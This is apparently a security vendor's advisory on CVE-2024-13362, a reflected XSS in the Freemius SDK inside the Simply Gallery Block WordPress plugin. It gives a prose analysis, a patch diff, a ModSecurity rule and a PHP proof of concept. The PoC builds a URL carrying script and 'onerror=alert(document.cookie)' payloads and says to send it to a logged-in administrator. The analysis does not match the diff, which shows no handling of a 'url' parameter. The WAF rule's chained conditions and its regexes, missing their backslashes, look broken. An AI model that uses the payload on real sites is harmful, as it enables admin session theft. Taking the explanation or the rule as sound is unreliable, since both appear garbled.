Atomic Edge analysis of CVE-2024-13362: This is a reflected DOM-based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK versions prior to 2.11.0, as used by the Simply Gallery Block plugin (versions before 3.2.4.5). The vulnerability exists in the `_add_sticky_dismiss_javascript()` method within `class-fs-admin-notice-manager.php`. When a template file is missing, the function continues execution with a null return value, leading to the injection of unsanitized JavaScript into the DOM. The CVSS score is 6.1, indicating a medium severity issue that allows unauthenticated attackers to execute arbitrary scripts in a victim’s browser session.
The root cause lies in insufficient input sanitization in the `_add_sticky_dismiss_javascript()` static method of the `FS_Admin_Notice_Manager` class (class-fs-admin-notice-manager.php, lines 194-200). The function retrieves a template file path using `fs_get_template_path(‘sticky-admin-notice-js.php’)`. If the file does not exist, `fs_get_template_path` returns null. The `_add_sticky_dismiss_javascript()` method then calls `fs_require_once_template()` with null, which leads to an unhandled error state. In the patched version, the function returns early if the template file does not exist. The vulnerability specifically involves the `url` parameter being reflected without sanitization in the admin notice JavaScript output, allowing an attacker to inject arbitrary HTML/JavaScript.
An unauthenticated attacker can craft a malicious URL containing a `url` parameter with XSS payload, such as `/?url=javascript:alert(1)` or similar DOM-based injection. The attack vector is through social engineering: the attacker tricks a WordPress administrator into clicking a crafted link. When the admin loads the page, the vulnerable Freemius admin notice code processes the `url` parameter without proper escaping. Since the template file existence check fails (returning null), the function continues execution and injects attacker-controlled content into the page DOM. The payload executes in the context of the WordPress admin dashboard, which has elevated privileges.
The patch addresses this vulnerability in multiple ways. The key change is in `class-fs-admin-notice-manager.php` (lines 201-203): the `_add_sticky_dismiss_javascript()` method now checks if the template file exists using `file_exists()` before attempting to load it. If the file does not exist, the function returns immediately, preventing the null parameter from reaching `fs_require_once_template()`. Additionally, the patch updates the version from 2.10.1 to 2.11.0 (start.php, line 18) and includes other fixes like deprecation handling for PHP 8.2 compatibility (class-fs-user.php, `__wakeup` method). The patch ensures that missing template files do not lead to unescaped output.
The impact of this vulnerability is limited by the requirement for user interaction (an admin must click a crafted link). However, if successfully exploited, an attacker can execute arbitrary JavaScript in the context of the WordPress admin dashboard. This could lead to session hijacking, creation of rogue admin accounts, injection of backdoors into themes/plugins, or theft of sensitive information like database credentials stored in WordPress options. The XSS executes with the privileges of the logged-in admin, making it a high-impact attack despite the social engineering requirement.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/simply-gallery-block/freemius/includes/class-freemius.php
+++ b/simply-gallery-block/freemius/includes/class-freemius.php
@@ -24000,13 +24000,15 @@
// Start trial button.
$button = ' ' . sprintf(
- '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s ➜</button></a>',
+ '<div><a class="button button-primary" href="%s">%s ➜</a></div>',
$trial_url,
$this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
);
+ $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
$this->_admin_notices->add_sticky(
- $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+ "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
'trial_promotion',
'',
'promotion'
@@ -25476,7 +25478,7 @@
$img_dir = WP_FS__DIR_IMG;
// Locate the main assets folder.
- if ( 1 < count( $fs_active_plugins->plugins ) ) {
+ if ( ! empty( $fs_active_plugins->plugins ) ) {
$plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );
foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/simply-gallery-block/freemius/includes/class-fs-plugin-updater.php
+++ b/simply-gallery-block/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@
global $wp_current_filter;
- $current_plugin_version = $this->_fs->get_plugin_version();
-
- if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
- if (
- is_null( $this->_update_details ) ||
- ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
- ) {
- /**
- * After an update, clear the stored update details and reparse the plugin's main file in order to get
- * the updated version's information and prevent the previous update information from showing up on the
- * updates page.
- *
- * @author Leo Fajardo (@leorw)
- * @since 2.3.1
- */
- $this->_update_details = null;
- $current_plugin_version = $this->_fs->get_plugin_version( true );
- }
+ if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+ return $transient_data;
}
if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
false,
fs_request_get_bool( 'force-check' ),
FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
- $current_plugin_version
+ $this->_fs->get_plugin_version()
);
$this->_update_details = false;
--- a/simply-gallery-block/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/simply-gallery-block/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
/**
* Class FS_Plugin_Plan
*
- * @property FS_Pricing[] $pricing
*/
class FS_Plugin_Plan extends FS_Entity {
--- a/simply-gallery-block/freemius/includes/entities/class-fs-site.php
+++ b/simply-gallery-block/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
exit;
}
- /**
- * @property int $blog_id
- */
- #[AllowDynamicProperties]
class FS_Site extends FS_Scope_Entity {
/**
* @var number
*/
public $site_id;
/**
+ * @var int
+ */
+ public $blog_id;
+ /**
* @var number
*/
public $plugin_id;
--- a/simply-gallery-block/freemius/includes/entities/class-fs-user.php
+++ b/simply-gallery-block/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
parent::__construct( $user );
}
+ /**
+ * This method removes the deprecated 'is_beta' property from the serialized data.
+ * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+ *
+ * @return void
+ */
+ function __wakeup() {
+ if ( property_exists( $this, 'is_beta' ) ) {
+ // If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+ unset( $this->is_beta );
+ }
+ }
+
function get_name() {
return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
}
--- a/simply-gallery-block/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/simply-gallery-block/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
$menu = $this->find_main_submenu();
}
+ $menu_slug = $menu['menu'][2];
$parent_slug = isset( $menu['parent_slug'] ) ?
- $menu['parent_slug'] :
- 'admin.php';
+ $menu['parent_slug'] :
+ 'admin.php';
- return admin_url(
- $parent_slug .
- ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
- 'page=' .
- $menu['menu'][2]
- );
+ if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+ $parent_slug = 'admin.php';
+
+ /**
+ * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+ *
+ * @author Leo Fajardo (@leorw)
+ * @since 2.10.2
+ */
+ global $_parent_pages;
+
+ if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+ $_parent_slug = $_parent_pages[ $menu_slug ];
+ $parent_slug = isset( $_parent_pages[ $_parent_slug ] ) ?
+ $parent_slug :
+ $menu['parent_slug'];
+ }
+ }
+
+ return admin_url(
+ $parent_slug .
+ ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+ 'page=' .
+ $menu_slug
+ );
}
/**
--- a/simply-gallery-block/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/simply-gallery-block/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
* @since 1.0.7
*/
static function _add_sticky_dismiss_javascript() {
+ $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+ if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+ return;
+ }
+
$params = array();
- fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+ fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
}
private static $_added_sticky_javascript = false;
--- a/simply-gallery-block/freemius/start.php
+++ b/simply-gallery-block/freemius/start.php
@@ -15,7 +15,7 @@
*
* @var string
*/
- $this_sdk_version = '2.10.1';
+ $this_sdk_version = '2.11.0';
#region SDK Selection Logic --------------------------------------------------------------------
--- a/simply-gallery-block/plugin.php
+++ b/simply-gallery-block/plugin.php
@@ -6,7 +6,7 @@
* Description: The highly customizable Lightbox for native WordPress Gallery/Image. And beautiful gallery blocks with advanced Lightbox for photographers, video creators, writers and content marketers. This blocks set will help you create responsive Images, Video, Audio gallery. Three desired layout in one plugin - Masonry, Justified and Grid.
* Author: GalleryCreator
* Author URI: https://blockslib.com/
- * Version: 3.2.4.4
+ * Version: 3.2.4.5
* Text Domain: simply-gallery-block
* Domain Path: /languages
* License: GPL2+
@@ -23,7 +23,7 @@
if ( function_exists( 'pgc_sgb_fs' ) ) {
pgc_sgb_fs()->set_basename( false, __FILE__ );
} else {
- define( 'PGC_SGB_VERSION', '3.2.4.4' );
+ define( 'PGC_SGB_VERSION', '3.2.4.5' );
define( 'PGC_SGB_SLUG', 'simply-gallery-block' );
define( 'PGC_SGB_BLOCK_PREF', 'wp-block-pgcsimplygalleryblock-' );
define( 'PGC_SGB_PLUGIN_SLUG', 'pgc-simply-gallery-plugin' );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
## Atomic Edge WAF Rule - CVE-2024-13362
# Virtual patch for Freemius SDK reflected XSS via url parameter in admin panel.
# The vulnerability triggers when a missing sticky-admin-notice-js.php template is referenced.
# This rule blocks requests that attempt to inject JavaScript via the 'url' parameter.
# It matches the specific admin page where the vulnerable code runs.
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php?page=freemius-pricing"
"id:20262024,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius XSS blocked',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_GET:url "@rx <script[^>]*>.*</script>" "chain"
SecRule ARGS_GET:url "@rx onerrors*=" "chain"
SecRule ARGS_GET:url "@rx javascripts*:" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Configurable target URL (WordPress site with vulnerable Freemius SDK)
$target_url = "http://example.com";
// The vulnerable endpoint is the WordPress admin area with a specific Freemius admin notice trigger.
// The exploit requires a logged-in administrator to visit a crafted URL.
// The vulnerable code path is in class-fs-admin-notice-manager.php via _add_sticky_dismiss_javascript().
// This PoC demonstrates the XSS by triggering a missing template file condition and injecting payload.
// Craft the malicious URL with XSS payload in the 'url' parameter
$xss_payload = '"';
$xss_payload .= '><script>alert(1)</script>';
$xss_payload .= '<img src=x onerror=alert(document.cookie)>';
$exploit_url = $target_url . "/wp-admin/admin.php?page=freemius-pricing&url=" . urlencode($xss_payload);
echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Crafted exploit URL: " . $exploit_url . "n";
echo "[+] Send this URL to a logged-in WordPress administrator.n";
echo "[+] If vulnerable, the injected script will execute in the admin context.nn";
// Verify the target is reachable
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("[!] Target unreachable, HTTP code: " . $http_code . "n");
}
echo "[+] Target reachable. HTTP code: " . $http_code . "n";
echo "[+] Exploit URL generated. User interaction required (admin must click the link).n";
echo "[+] To test without social engineering, directly access the admin area with the crafted URL.n";
/*
* Usage:
* 1. Replace $target_url with the actual WordPress site URL.
* 2. Run the script in a PHP CLI environment.
* 3. Send the generated URL to an admin user.
* 4. If vulnerable, an alert box with '1' and/or the admin's cookies will appear.
* Note: This PoC triggers the XSS through the missing template file condition.
* The actual exploit requires the admin to be logged in and the Freemius SDK to be active.
*/